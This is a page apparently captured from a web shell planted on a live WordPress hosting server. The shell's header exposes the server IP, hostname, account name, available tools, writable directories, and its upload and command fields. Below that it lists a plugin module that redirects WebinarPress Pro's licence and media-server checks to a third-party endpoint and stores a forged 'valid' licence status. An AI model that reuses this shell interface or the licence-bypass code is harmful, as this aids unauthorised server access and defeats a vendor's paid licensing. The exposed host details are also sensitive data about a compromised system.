$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/wpwebinarsystem.php
<?php
/**
 * WPWebinarSystem (WebinarPress Pro) module.
 *
 * Intercepts webinarpress.com EDD license requests and
 * live.getwebinarpress.com media server validation locally.
 * No GLS3 handler needed — simple fake responses.
 *
 * EDD-based license system + media server validation.
 * API domains: webinarpress.com, live.getwebinarpress.com
 * Item name: WebinarPress Pro.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WPWebinarSystem license module.
 */
class Wpwebinarsystem extends AbstractModule {

	/**
	 * Placeholder license key.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'hellopack-webinarpress-pro-license';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'wpwebinarsystem';
		$this->name        = 'WebinarPress Pro';
		$this->description = 'Manages WebinarPress Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'wpwebinarsystem',
			'plugin_file' => 'wpwebinarsystem.php',
		);
		$this->target_id   = '2034601898';

		// Registered here, not in init(): the plugin checks its licence before
		// the module system runs, so the redirect has to exist by then.
		ApiRedirector::create(
			'https://webinarpress.com',
			HELLOPACK_GLS3_URL . '/wpwebinarsystem'
		);

		ApiRedirector::create(
			'https://live.getwebinarpress.com',
			HELLOPACK_GLS3_URL . '/wpwebinarsystem'
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		$this->activate_license();
	}


	/**
	 * Activate WebinarPress Pro license.
	 *
	 * Sets both the license key and the status object
	 * that the plugin checks via get_license_status().
	 */
	private function activate_license(): void {
		$current_key = get_option( '_wswebinar_licensekey' );

		if ( self::LICENSE_KEY !== $current_key ) {
			update_option( '_wswebinar_licensekey', self::LICENSE_KEY );
		}

		$status       = get_option( '_wswebinar_license_status' );
		$needs_update = false;

		if ( ! is_object( $status ) ) {
			$needs_update = true;
		} elseif ( ! isset( $status->code ) || 'valid' !== $status->code ) {
			$needs_update = true;
		}

		if ( $needs_update ) {
			$status_data = (object) array(
				'at'                        => time(),
				'code'                      => 'valid',
				'max_hosted_attendee_count' => 1000,
			);
			update_option( '_wswebinar_license_status', $status_data );
		}
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		$status = get_option( '_wswebinar_license_status' );

		if ( is_object( $status ) ) {
			$status->code = null;
			$status->at   = 0;
			update_option( '_wswebinar_license_status', $status );
		}

		hellopack_delete_option( '_wswebinar_licensekey' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit